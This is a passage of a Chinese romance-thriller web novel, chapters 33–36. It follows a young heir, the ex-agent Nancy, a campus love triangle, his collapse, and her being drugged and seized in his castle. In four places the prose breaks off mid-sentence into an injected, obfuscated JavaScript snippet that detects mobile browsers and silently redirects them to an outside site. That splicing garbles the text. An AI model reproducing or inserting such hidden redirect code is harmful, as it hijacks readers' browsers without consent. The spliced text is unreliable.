然后,他把李大发打听到的消息告诉了电话里的人,最后还犹犹豫豫地加了句“李大发说,那地方很乱……”。 可一说完,他竟又感到后悔。 刚刚李大发提醒这些时,他只觉得烦…… 电话里的声音把他的思绪拽回:“哦?小生生,你不知道嘛,‘红发女鬼’最不怕的就是‘乱’。” 然后,话音中断,电话那头传来了“嘟嘟嘟”的盲音。 对方挂了电话。 而温雪生依然握着话筒,指节已经发白,心情陡然变得沉重,像压了块石头。 几分钟后,他把话筒放下,又提起,重新按下一串号码。 “让李大发来见我。” * 温沙城堡三楼。 晚八点四十五分。 书桌上的电话骤然响起。 温雪生几乎瞬间拿起听筒。 李大发的声音传入耳朵:“少爷,张小姐还真出现了,她刚进了碧海阁的大门,打扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441752|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得……嗯……非常耀眼,衣服颜色很亮,跟刚从动画片里走出来似的。” 温雪生身体紧绷,像拉紧的琴弦:“好,你继续盯着,有情况随时告诉我。” 八点五十三分,电话再次响了。 李大发的语气急促了些:“少爷,有个喝得烂醉的胖子想扑过去拦住张小姐,动作嘛,好像有点不太规矩,不过张小姐反应快,一个侧身就躲开了,没让对方碰着,看起来没吃亏。” 温雪生沉默了几秒:“你过去,‘提醒’一下那个不长眼的。” “明白。” 九点十分,李大发的电话又来了,这次他带着再也掩饰不住的焦虑:“少爷,情况不对啊!张小姐跟着一群说是去面试的女孩,进了海上天堂包间。我找人打听了,那根本不是什么正经面试!是王有才拉皮条的惯用伎俩,专门骗那些想当明星的女孩!包间里也不是什么所谓的投资人和制片人,就是些本地玩得很野的富商!听说这勾当在那里已经持续很久了,经常出事!少爷,要不要找人冲进去,确保张小姐的安全?” 温雪生面色发青:“不行。”他否定,声音严厉,“找人冲进去,这跟老头儿平日的做法有什么区别?” 他爹温四爷那套手段,他从来不屑,也极力避免沾染,“咱们不是black社会。你别管了,剩下的我想办法。” 挂了电话,房间里又回荡起温雪生来来回回的踱步声,听起来就像是有一头野兽被困在了笼子里。 窗外夜色浓重,他一会儿坐进沙发,手指用力掐着眉心,一会儿又像被烫到一样弹起来,走到窗边…… 期间,王姐小心翼翼地端了杯参茶进来,想让他定定神,被他看也不看地低吼了一声“出去!”,吓得王姐立刻退走了,轻轻地带上了门。 时间一分一秒地爬行,每一秒都拉得无比漫长。大概煎熬了二十分钟,温雪生突然在地毯中央停住了脚步。 然后,他转身,大步走到电话机前,死死地盯着那排数字按键。 他深吸一口气,似乎鼓足了勇气。然后,他提起听筒,用力按下了三个数字:110。 “喂?我要报警。” 他一字一顿,冷静得近乎诡异,“岳阳路的碧海阁,有人正在进行非法□□易,可能涉及胁迫未成年或欺诈。对方隐藏得很深,有保护伞,希望你们行动时注意策略和取证。” * 两个月后。 索尼大彩电的屏幕里,正在直播一场非法交易及胁迫□□案的庭审。 这桩案件与已故明星王有才密切相关,轰动了整个济东市,甚至全国。 画面扫过法庭,下方坐满了黑压压的人,大多是些年轻女孩。据报道,她们都是王有才明星培训班的受害者。 温雪生一边看着电视,一边拿着电话。 电话那头的声音像点燃的烟花,激动得几乎要冲破听筒:“小生生!你快看电视!庭审!现场直播!” “嗯,我正在看。那些受害的女孩当庭作证,指认了对她们实施侵犯的富商。” “对对对!我跟你说,我一开始还瞎担心,怕她们太害怕,顾忌名声啊、报复啊什么的,不敢站出来指认……但她们太了不起了!你快看,现在说话的是我领班王颖!逻辑清晰,义正辞严!好像美少女战士里的火野丽啊!她旁边的花姐!那气势,就是水冰月!还有那个,戴眼镜的那个,水野亚美……” “嗯。”温雪生不经意瞥到窗外。 几只不知名的小鸟叽喳飞过。 飞过草地。 草地虽然还是大片的枯黄,却也多了些嫩绿色。 新的季节就要来了。 33. 第 33 章 “隐退?!” “嗯。” “这就是你做的决定?” “是呀。” “你脑子被驴踢了?!” “诶呀,聋了聋了!”南希走出女生宿舍,把手里的摩托罗拉拿离耳朵,“刘总,我耳膜都要让你喊破了!” “小张,你开玩笑是吧……?”刘总的声音弱下来,显得紧张。 “放心放心,还能听到点声,没聋。”南希心不在焉,眼前迎面走来两个穿制服的同学。他们正挥手跟她打招呼。 “那么,退休……?” “哦,这个呀……”南希觉得这俩人眼熟,但想不起是谁,一边尴尬抬手回应,一边冲手机压低声音,“这个没开玩笑,我认真的。我想过了,我拿着现在赚的钱,去投个资,也能够我花一辈子。” “……小张,你是不是遇到什么难处了?你跟我说说,我帮你……” “诶,刘总,要不我也给你投点?你那房地产生意要是好好搞,说不定会很有前途。” “我的小生意,哪能跟组织比……” 这时,一道急切的问候盖过了刘总的声音—— “南希同学!” 南希循声看去,刚才和她打招呼的同学后面,还跟着仨穿相同制服的高个儿男生。中间那个皮肤白净,眉目清秀,一眼帅哥。 这是…… 她前不久才撩过的学长? 南希心里一慌,下意识挂断电话,压低下巴,转身就逃。 “等等!” 身后有人追来,速度很快。 “别躲着我了……好吗?” 这声音里似乎带着一种委屈的哭腔。 “小希……” 好像真要哭了…… 南希于心不忍,终是停住了脚步。 回头。 一双红肿的眼睛正痴痴地盯着她,眼眶挂着一圈水润的东西。 南希心虚:“那个,是学长呀,好久不见……” 她眯着眼,表情生硬,话也说得磕绊,任谁见了都能看出她在强装从容。 但学长竟松了口气。 “是啊,好久不见……” “啊呵呵……”南希找话题,“……学长,你们这是有活动?”她提着自己的衣领,视线落在学长的制服上。 学长垂眼看看:“嗯,合唱团活动,你想参加吗?” “我?不行,我五音不全的。”南希笑起来,“不过,这衣服挺帅的,很适合你,我喜欢。” 学长眉心渐蹙,如水的眼底荡起了一圈圈涟漪。 南希意识到危机,迅速避开对方的眼睛,已经在琢磨逃走的借口。 “小希……” 然而,学长并没有给她逃走的机会,只顿了一刹,又继续说道,“我还以为再也见不到你了……上次在明月湖边,你和我说以后不再联系了,我虽然当时就答应了,但后来才发现,自己其实并没有想象中那么洒脱……这段时间,我总会不经意想起我们之前的事,也总是忍不住想再见你一面。我试着找过你几次,不过都没能遇到你……二月十四号那天,我给你准备了你喜欢的巧克力蛋糕,也给你打过电话,不过你没接。后来才听你室友说起,你的腿摔伤了,最近一直在休养。不知道你现在好些了吗?” 周围散场的合唱团成员越来越多,已经有人凑过来,开始起哄。 南希只想找个洞钻进去。 在她的印象里,学长害羞腼腆,一逗就脸红,可这会儿怎么能当着这么多人的面说出这样的话? 造孽…… 她抬头,对上学长的炙热的目光:“那个,早就好了,别担心……” 说这话时,她想起二月十四号,手机里多出了几个陌生号码的未接来电……想起去年冬天,学长骑单车载她,她包里的摩托罗拉“哔”个不停……想起她为专心完成蓝宝石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441753|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务,快刀斩乱麻,与学长决绝分手…… 她花心,不是没心,对学长,她有愧。 想到这,南希眼里的光竟也变得温柔起来。 或许这缕光触动了这个男人,学长藏在眼里泪终于落下,颤颤地向前一步,拉起南希的手,像是受了万般委屈:“我明白,小希……我们可能,不是一个世界的人。你用的东西,去的地方,都是我平时接触不到的。有时候看到你,会觉得你像站在很远的地方,那么好看,又那么明亮。我也明白,或许你的家人会说,我配不上你。但我会拼尽全力去努力,一点一点把能力攒起来……小希,能再给我一次机会吗?” 话说得真挚,就差掏心肺了。 南希却听懵了,中间好几次想打断他,眼里的柔光也渐渐变成了疑惑。 事情到了这步,周围起哄的声音里多出了一句句“给他机会”、“答应他”…… 好像如果南希拒绝,就会引发众怒似的。 她满身冷汗,进退两难。就在这时,边上乱七八糟的声音被一阵爆炸的尖叫覆盖。 随后,周围又涌来如蚊虫嗡鸣般的窃窃私语: “啊啊啊!你们看,那个人是谁……?” “好帅,太帅了……” “是咱学校的吗?怎么以前没见过?” …… 人们的视线聚集在远处,竟连学长也越过了她,朝她身后望去。 南希转过头。 “真像大明星啊!” “你看他那个眼神,好酷啊……” “他的左眼怎么带着眼罩?” 眼罩?! 仅一瞬间,南希后背凉意四起。 她的眼睛也已经捕捉到了,那个突如其来的焦点—— ——刀刻的深邃眉眼,剑削的高耸鼻峰,雪凝的冷白肌肤。 气质威严却阴森,身形高瘦却挺拔。 温,雪,生?! 34. 第 34 章 周围的骚动像水面的涟漪,迅速扩散。 南希的心也越来越沉。 温雪生就站在不远处的树下,目光沉静地落在她这里——或者说,是落在她和学长依然虚握着的手上。 他的脸色比平时更白,漆黑的眼底没什么情绪,却渗着一种无形的压力。 边上不少目光在他和南希之间巡回。 南希像被烫到一样,猛地抽回了手。 学长察觉到她的异样,低声问:“小希,你认识那个同学?” 南希张了张嘴,还没发出声音,温雪生动了。 他一步步走过来,步子不算快,却十分沉稳。 人群自发地让开一条路。 温雪生穿着简单的白色呢子大衣,黑色长裤,整个人带着一股生人勿近的冷意。那只犀利的右眼始终盯着南希,周遭的一切议论似乎都与他无关。 温雪生生气了,很生气。 他生起气来虽然不说话,但眼神能冻死人。 南希下意识屏住呼吸,手指悄悄蜷起来,准备迎接他冰冷的怒火。 然而,温雪生径直走到了她面前,近得她能闻到他身上淡淡的、像是消毒水混合着梅花香的味道。然后,他就那么面无表情地,从她身边走了过去。 他的衣角带起微弱的气流,拂过她的手背,微微发凉。 他根本没有一丝停留的意思。 周围的议论声更大了。 南希怔在原地,一种说不清是松了口气还是失落的情绪涌上来。 学长望着温雪生的背影,轻轻蹙眉,然后转回头,温和地说:“那个人……看起来不太好接近。”他又自然地想伸手去拉南希的手腕,“小希,我们先去别的地方吧。” 南希却下意识地避开了。 学长的手僵在半空,气氛有些微妙。 就在这时,已经走远的温雪生突然停住脚步。他稍稍侧脸,声音不高,却穿透了细碎的嘈杂,落在南希和学长的耳朵里。 “不认识。” ? 南希懵了一秒,猛地反应过来,温雪生这是在回答学长刚才的问题。可他这回答太生硬,太刻意,不光学长,周围看热闹的人脸上都写满了不信。 窃窃私语声再次响起。 学长上前半步,挡住南希。 “这位同学,既然不认识,请不要打扰我们。”他的语气尽量保持礼貌,却还是一下子就激怒了温雪生。 南希眼看着温雪生的脸由白变黑,再由黑变红,在她准备承受火山爆发之时,一个穿着夹克服、看起来三十多岁的中年男人,从旁边的小路跑了过来。 不少同学认出那是计算机学院年轻有为的宫副教授。 宫教授气喘吁吁的,看到温雪生后,脸上立刻有了笑,老远就喊:“少……”他顿了下,扫了眼周围的人群,立马改口:“雪生!你到了怎么也不打电话?” 温雪生压下火,侧过身,可语气还是不怎么友好:“学生到学校上课,还需要说什么?” 宫教授瘪嘴,像是真的思考了一番:“也是。哎呀,走走走,别站这了,快上课了,我先带你去教室。”他伸手引路。 温雪生便没再说话,跟着宫教授走了,自始至终没再看南希一眼。 人群炸开了锅。 “这到底谁啊?让宫教授亲自来接?” “还那么拽……” “人家那是酷!” “酷得太冷了点儿……” 南希完全没意识到自己的视线一直跟着温雪生,直到学长的话将她拉回。 学长声音很低,带着一丝不易察觉的紧绷:“其实,你们认识,对吗?” “小希……” “小希?” “啊……”南希回过神,“怎么了?” 学长温柔摇头:“没事……” 没想到周围竟有同学凑上来:“有事有事!刚才那个帅哥是计院的吗?大几呀?你们什么关系啊?” 南希心里本就乱,面对这突然抛过来的一连串问题,只记住了最后的“什么关系?”。 她想起温雪生被她按在床上时隐忍抿紧的唇角,想起他被她逗得耳根通红却强装镇定的眼睛,想起他生气低吼“谁让你说我是你男朋友”时忽闪忽闪的睫毛…… 她抬起眼,一摊手:“哎呀,他啊,我男朋友。” 周围瞬间一片惊叹。 学长的表情彻底变了,他注视南希,声音干涩:“……什么时候的事?那天……你拒绝我,是因为他吗?” 南希寻思了寻思。 她拒绝学长,是因为蓝宝石任务,而蓝宝石任务又与温雪生有关。 也算是因为他。 她点头承认:“嗯,是这样。学长,其实我啊,从小就喜新厌旧,对什么事都三分钟热度。你也看到了,我先是勾搭你,后来又勾搭了别人。虽然我这样说可能会让你不开心,可我真的一看到别的帅哥,就把你给忘了……唉,见一个爱一个的毛病,我这辈子怕是都改不了。学长,我跟你想象中的那个完美女孩就不是一个人,我以前都是装的。现在咱们说开了,我也不用装了,舒坦自在多了,你就别再我身上耗时间了。好了,学长,该说的我都说了,拜拜,保重。” 说完,她不等对方回应,转身就朝温雪生离开的方向追去。 可是,那个清瘦的少年早已不见了影儿。 南希停下脚步,心里有些烦。 按温雪生曾说的,他从不上学,都是教授去他家里单独授课。所以他今天莫名其妙出现在校园里,本身就很不寻常…… 她得找到他,去问问他,是不是出了什么事…… 这么想着,南希脑海里突然闪过温雪生冰冷的眼神,心里不由一怵。 要不,还是打电话问吧……现在科技好了,什么事不能电话里说…… 她一边想,一边低着头,慢悠悠地在校园里逛荡,等她再抬起脑袋时,发现自己不知不觉走到了计算机学院楼下。 身体一紧。 计算机学院? 这不就是温雪生的学院吗? 她转身想逃。 可几乎同一时间,她的目光扫过一面巨大的玻璃窗。 窗户后面,温雪生正坐在教室里,侧脸对着她,眼神专注地望着前方讲台,似乎在认真听讲。 阳光透过玻璃,柔和地打在他的上半身,让他白皙的皮肤显得十分透亮。 南希停下了脚步。 她站在楼下,隔着一段距离和一层玻璃,默默地看他。 看了很久。 风吹过,野猫跑过。 那玻璃后面的人似是学累了,不经意地转过头。 两人的视线,便隔着那一段距离和那一层玻璃,撞在了一起。 一堂课结束了,讲台上的宫教授开始收拾讲义。 几乎同时,温雪生座位旁迅速被一群学生围住,大部分是女同学。她们的身影挡住了南希的视线。 “靠!” 南希感到扫兴,她拔腿跑进教学楼,穿过走廊,径直冲进那间教室,拨开簇拥的女同学,一把抓住温雪生放在桌面上的手。 “跟我出来。”她不等他反应,在众人惊讶的目光中,用力把他从座位上拉起,拉离了人群,拉出了教室。 温雪生像是懵的,任由她拉着,直到被拉进走廊,他才甩开她,力道不大,却很坚决。 “我们认识吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492401|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”他的眼神恢复了之前的疏离。 南希无奈:“小生生,你这是打算跟我装不认识到什么时候?我是哪里得罪你了吗?” 温雪生别开脸,声音硬邦邦的:“七天,一个礼拜。” 嗯? 南希满脸困惑:“什么七天?” 温雪生见她完全不明白,心头那道憋闷的火更盛。 他不再看她,转身就往教室走,只是在拐进门口的瞬间,用余光迅速扫了眼身后。 她并没有追来。 一股强烈的后悔和失落霎时将他攫住。 过去的那一个礼拜,南希就像人间蒸发了一样,没去找过他。 他每天都在等,趴在窗边,守在电话旁,甚至装作不经意地问过李大发有没有找他的电话。 答案都是没有。 他便倔起来,既然她不找他,那么他也绝不主动找她。 七天,整整七天,他硬撑着没拨出那个烂熟于心的电话号码。直到前天,宫教授到温沙城堡给他上课,他才意识到济东大学已经开学很久了,她也许会出现在校园里。 于是,他第一次主动提出去学校上课,心里抱着那么一点点渺茫的、能“偶遇”她的希望。 没想到,希望竟轻松实现,还真让他给“偶遇”到了。 他一进入校园,就看见她被一个男人牵着。那个男人,眉清目秀,他不得不承认,他长得确实不错。 脑子里瞬间不受控制地冒出刘总曾提过的什么强,什么小帅,什么硕硕…… 一股混合着酸楚、怒火和耻辱的情绪顿时从心底窜起,直冲头顶,几乎要将他整个人炸开。 他只有一个念头,再也不要认识她,再也不要见到她! 可是,为什么……为什么当她真的没跟上来时,真的要见不到她时,他会这样后悔,就像是心被掏空了…… 但他仍倔强地走回了教室。 眼前还是那群眼睛发亮的女同学,她们窃窃私语,目光在他身上来来回回、上上下下。 “他好像是……温氏的大少爷……” “公子哥儿啊……” 又是这些称呼。 温雪生心底泛起厌烦。 宫教授穿过她们走来,笑着打趣:“雪生,怎么,你女朋友走了?”他是极少数敢跟温雪生这样开玩笑的人。 温雪生板着脸:“不要乱说,那不是我女朋友。” “哦,真不是女朋友?”宫教授挑眉。 “不是。” “哎呀,那可惜了。”宫教授摇摇头。 温雪生心念微动,下意识追问:“可惜什么?” “我感觉那女孩漂亮又灵动,跟你现在的样子还挺配的。而且,”宫教授顿了顿,意味深长地补充,“我见她刚才看你的眼神,好像很喜欢你呢。” 温雪生心跳漏了一拍,他很相信宫教授,他打心底认为他博学多才,说的话大都是对的。 他犹豫了几秒,突然很想问清楚那是什么样的眼神,又是什么样的喜欢。 可在这一刻,他的视线被窗外掠过的人影抓住。 南希站在那里,就在教学楼外。 而她面前,是一个穿着皮衣、身形健硕的短发男人。 那男人在说,南希在笑。 更刺眼的是,南希仰头看着他,眼睛里有光在闪。 那是一种他无比熟悉的光——就在不久前,他还在上课的时候,她站在差不多的位置,也那样看过他…… 怒气像火山,终于在他胸腔里爆发,烧光了他所有的理智和克制。 温雪生推开挡在门口叽叽喳喳的女同学,甚至顾不上跟宫教授说一句话,大步流星地冲出了教室。 35. 第 35 章 阳光晃得温雪生眼睛发花。 脚步停在教学楼前的空地上,然后,他急切地环顾四周。 学生们三三两两路过,自行车铃声“叮叮”作响……可是这些景象和声音都像是隔着一层透明的膜,遥远而模糊,无法真正传入他的感知。 没有。 没有…… 哪里都没有南希的身影…… 空茫感像潮水般涌上,似乎还裹着一种被遗弃的冷意。 温雪生觉得太阳穴的位置一阵阵钝痛,同时眼前闪过几个小黑点,接着越来越多,越来越密,像一群躁动的飞虫。 然后,他的世界开始旋转、扭曲,他感到脚下的地面变成了海浪中的甲板,晃动得他想吐。他试图伸手扶住什么,却只抓到一片虚无。 身体也不受控制地晃了起来。 他直直地向前砸去。 * 七分钟前。 温雪生甩开南希走向教室。 南希正要喊他,眼角余光突然瞥到走廊尽头一个虚闪而过的人影。 如果她没看错,那人穿着皮衣、留着利落短发—— 张笑远。 眼前,温雪生已经赌气地拐进教室,她便没再管他,转身朝皮衣男消失的地方追了出去。 在教学楼前,她追上了他,一把抓住他的胳膊,喊:“喂!” 那皮衣男转过头,果然是她认识的张笑远。 张笑远眼神清亮,并没有感到意外的样子。 “你好,又见面了。” 可南希很意外:“你,你好?张笑远,你怎么在这?你不会也是这儿的学生吧?” 张笑远微微歪头:“为什么说‘也是’?” 南希想起她知道温雪生是自己校友时的震惊感觉,找到了这个问题的答案。但她不想跟张笑远解释别的男人的事,便含糊了过去,张笑远也没追问,他继续着刚才的话题:“我不是济大的学生,我是来找朋友的。” “哦,朋友。”南希随口猜,“这个朋友该不会是你那‘破晓’里的一员吧?” 张笑远眼睛一亮,点头:“是。” “啊?我说中了?”南希不敢相信,“你没骗我吧?” “没有。”张笑远注视她,语气肯定,“你很聪明。” “呵呵呵,还好还好……”南希尴尬,看向别处。 济东大学的校园很大,楼和楼之间的间隔很远,这附近就只有计算机学院的教学楼。 南希恍然意识到,张笑远要找的人,多半也是这个学院的。 这时,她的目光不经意瞥过刚才那面大玻璃窗。 她一眼就看到了温雪生。 他已经回了教室,周围又堆上了不少同学。因为他个子高,即使被人围着,也能露出清晰的肩膀线条。而他身前,宫教授正穿过簇拥的学生走向他。 南希突然冒出一个新奇的念头,她转回头,双眼放光:“那我再猜猜,你要找的那个‘破晓’成员,该不会是计算机学院的宫教授吧?” 张笑远脸上难得露出一丝诧异,虽然很快收敛,但也没逃过南希的眼睛。 他正要开口说些什么,忽然又笑了笑:“想知道答案?就跟我来这边。”说着,他拉起南希的手腕,不容分说地带她拐进教学楼侧面的一个小门,然后顺手带上厚重的玻璃门,装作自然地扫了眼门外—— ——温雪生刚跑出主楼,正站在空地上四处张望。 张笑远收回目光,看向南希,依旧自然:“你认识宫教授?” 南希一怔:“怎么?你想带我找他?” 她想起温雪生也在宫教授那边,想起自己刚刚的不告而别……连忙表明立场:“我提前说,我不去啊。” 张笑远又若无其事地看了眼玻璃门。 门外,温雪生抬手捂着胸口,身体摇摇晃晃的,给人一种站立不稳的感觉。他不禁蹙起眉头,转而问南希:“据我所知,你不是这个学院的,为什么会出现在这里?” “我啊。”南希一瘪嘴,“自然也是来找朋友的。” “什么朋友?” 南希本想直接说“男朋友”,但看着张笑远那张端正俊朗的脸,话到嘴边又改了口:“你见过的,常跟着我的那个温大少。” 张笑远脸色沉了沉,语气变得严肃:“你上次说他是你男朋友,是真的吗?” 南希凭借对男人的了解,觉得张笑远这是在意她的反应,心里有点窃喜,故意反问:“你希望是真的吗?”这句话的尾音略略上扬。 哪料,张笑远眉头皱得更紧,像是听到了什么难以理解的问题:“什么叫我希望?” 南希靠近一步,脸上带着点勾引意味的笑:“怎么,吃醋了?” 张笑远后退,与南希拉开距离,神情困惑:“吃醋?我不懂你在说什么。我只是想告诉你,离那个温少爷远一点。他父亲的身份你应该清楚,跟他牵扯越深,对你越没好处。而且我不怕告诉你,‘破晓’最近的目标之一就是他父亲。你要想加入我们,就不能跟他走得太近。” 南希脸上的笑淡了下去,窃喜感也烟消云散。 一来,她跟谁走得近是她的自由,她不喜欢被人指手画脚;二来,她压根没想加入张笑远那个幼稚的二百五组织;三来,张笑远看起来是个木头疙瘩,对男女之情一窍不通,压根儿就不是她以为的吃醋。 她扯了扯嘴角,半真半假地回:“好啊,我可以考虑离温大少远一点。但你也知道,他好歹算是我男朋友,离他远点儿就意味着得跟他分手,分手了我可就单身了,我会很孤单、很寂寞的。”她顿了顿,眼神故意在张笑远身上流转,“你看,这些损失都是你造成的,你欠我一个男朋友,得想办法还给我。” 张笑远显然没料到这个逻辑,怔住:“怎么还?” 南希在心里翻了个白眼,然后继续挑逗,眼神似是打量,又似是勾引:“要不,你以身相许?当我男朋友怎么样?你这张脸,比起温大少,虽说差了那么一点儿,不过也算勉强合格。” 张笑远猛地睁大眼睛,脸上竟浮现出怒气:“胡闹!大事未成,理想还没实现,我怎么能沉溺于儿女私情,浪费时间谈恋爱交女朋友?!”他义正言辞,像是在宣读什么誓言,宣完,他又说了句“你好好考虑下我的话,一定不要跟那个温少爷走得太近。还有,如果你决定加入我们,随时可以去开运全羊馆找我。”,然后,他转身离开,步伐又快又稳。 南希望着他毫不留恋的背影,愣在原地,半晌,才无奈地叹了口气。她觉得,好像还是温雪生更有意思些。 她决定去找他。 眼前,张笑远已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508474|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失在走廊拐角,她便朝着那个方向走去。 她推测张笑远大概要去找宫教授,而温雪生应该还跟宫教授待在一起。 可没走几步,她又突然刹住脚——如果这样追过去,很可能会被温雪生撞见她和张笑远前一后出现,以温雪生敏感多疑又爱生气的性子,他肯定又会火山爆发,到时候就更难哄了。 想到这里,南希像朵蔫了的花,软软地靠在了墙上。 她不愿再寻思这烦心事,打开剑桥包,从里面拿出一个崭新的银色随身听,索尼的,花了她一千多块人民币,算是给自己庆祝隐退的小礼物。 随身听里装着任贤齐去年年底发行的新专辑,里面的主打歌《心太软》火得一塌糊涂,大街小巷都在放。 她戴上耳机,按下播放键,任贤齐富有磁性的声音流淌出来: “你总是心太软,心太软,独自一个人流泪到天亮……” “你无怨无悔地爱着那个人,我知道你根本没那么坚强……” 歌声冲刷着南希纷杂的思绪,忽然,像一道闪电般划破了迷雾。 她猛然意识到,之前温雪生那句硬邦邦的“七天,一个礼拜”是什么意思。 在过去的整整七天,他们没有任何联系,也没见过面。 他是在怪她一个礼拜没找他? 一种莫名的、酸涩的情绪登时蔓延全身。 怎么回事,她竟有些想见到他…… 她便又仔细体会了下自己的感觉。其实这种感觉,在过去的七天里也隐隐存在过。但那七天她太忙,她经历了寻找小王、决定隐退等一系列复杂的事。 而且,就算她没经历那些,她也很难去找他吧……毕竟以前去找他,多少都带着点“正事”的由头,或是送人,或是为了任务……她还从来没试过无缘无故、单纯想见他了就去爬城堡三楼。难不成,她要突然跑去跟他说“喂,小生生,我想你了,我们睡一觉吧”然后又走掉?这显得她太变态了点儿……虽然,在他心里,她大概已经跟“变态”划上等号了…… 一遍《心太软》唱完,南希又按下倒带键听第二遍。 期间,有几个女生手挽手经过,她们一边窃窃私语一边偷偷瞅她。 她不认识那几个女生,但认得她们的眼神和动作——混合着打量、八卦和羡慕的眼神和动作。 南希心想,她们估计在温雪生的教室里碰到过,看来那边的课已经完全散了,而且过了这么久,张笑远应该也走了吧…… 耳机里再次响起“你总是心太软……”。 南希不再犹豫,飞快地跑向温雪生刚才所在的教室。 教室里果然空荡荡的,只有一个值日生在慢吞吞地擦黑板。 南希扶着门框,气息还没完全平复,急喘地问:“同学,请问宫教授呢?” 值日生头也没抬:“早走了。” “那,温雪生呢?” 值日生茫然地转过头,摇了摇。 南希摘掉一个耳机,伸手指向靠窗的位置,一边说一边比划:“就是刚才坐那里的男同学,很高,很白,不太爱说话,看起来有点儿拽,不太好接近。” 值日生恍然大悟:“哦,你说他啊!他刚才在外面晕倒了!就是楼前那块空地,然后很快来了几个穿黑衣服的人,把他扶上车接走了。” 36. 第 36 章 随身听里,任贤齐正好唱到:“夜深了你还不想睡,你还在想着他吗?” 南希的心一沉,像是瞬间掉进了冰窟。她扔下句“谢谢”,转身就跑出教学楼,一路狂奔到校园停车场,跳上切诺基,点火发动。 引擎低吼了几声,切诺基如同脱缰的野马,冲出校门,汇入车流,向郊区狂飙。 她不知道温雪生被带去了哪儿,也许是温沙城堡。 她要亲眼确认。 大概一个小时后,伴着一个急刹,切诺基停在温沙城堡外围山坡。 多年的职业敏感,让南希在停车的瞬间就绷紧了神经。 城堡周边,肉眼可见的,多了一圈正在巡逻的黑衣。整栋建筑透出的气息,也比以往任何时候都要压抑。 第六感疯狂报警,告诉她出事了。 这种情况,她绝对不能从正门进去,也不能贸然爬上三楼。她把切诺基停在隐秘处,决定耐心等待进入城堡的时机。 天色渐渐黑透了,黑衣人开始换岗交接,温沙城堡的戒备终于出现了短暂的空隙。 就是现在! 她像过去无数次那样,奔跑起来,身影在黑暗中几个起落,然后敏捷地攀上城堡三楼。 那扇熟悉的窗户没锁,她轻轻一推就开了,像是有人故意留的。 屋子里没开灯,一片漆黑。 南希探出头,压低声音喊:“小生生?” 也没有人回答。 危险的预感已经飙到顶点,但她还是咬紧牙关,轻盈地跳进房间,凭借记忆,摸黑向床边走去。 月光勉强透进来一点,勾勒出床上瘦长的人形轮廓。 她心里又是一紧,夹杂着惊疑和一丝残存的希望,然后她加快脚步靠近,伸手推了推那个人。 “喂!” “小生生?” 床上的人被她推动,僵硬地转过头。 借着朦胧月光,一张完全陌生的、瘦削得像猴子一样的脸浮现在南希眼前。 那张脸没有任何表情,眼神阴沉而空洞。 几乎同一时间,南希闻到一股刺鼻的药味。 这药味她无比熟悉。 因为这种药她曾在任务中用过太多太多次。 迷药! 脑中刚闪过这两个惊悚的字眼,她就及时赌住了口鼻,但还是晚了一步,迷药在刹那间钻入她的鼻腔,渗入她的血液,虽不多,却仍令她意识迷乱,眼前发花。 下一瞬,那猴子男不知从哪儿摸出一根麻绳,只见他甩手一挥,那麻绳稳准地将南希套了个圈。 南希感到麻绳瞬间收紧,她被拽得一个趔趄,迷乱感更重,天花板和地板在视野里不断交换位置。 她干脆放弃反抗,保存所剩无几的力气,任由自己摔倒在地,然后贴着消毒水味很重地毯,大口大口喘着粗气。 身后,那猴子男跳下床,冲着黑暗说:“爸,办好了。” 他语气里带有明显的讨好,就想是在跟领导汇报工作。 南希这才意识到房间里还有第三个人。 但是—— 爸? 她感到惊讶,却没时间细想什么,只听“咔嚓”一声,顶灯骤亮,刺目的白光让她瞬间闭上了眼。 “重明,把灯调暗些。”角落里传来了声音,很温和,甚至算得上慈祥。 “是。”那猴子男立马应声。 很快,房间的明灯暗了。南希终于能睁开眼,缓缓抬起了头。 墙角的沙发上,坐着一个穿深灰中山装、黑布鞋的男人。 那张沙发她常坐,如果没记错,她和温雪生还在上面口口过…… “你是张南希?”中年男人开口,目光平静。 南希艰难地拨正自己混乱的意识,看过去。 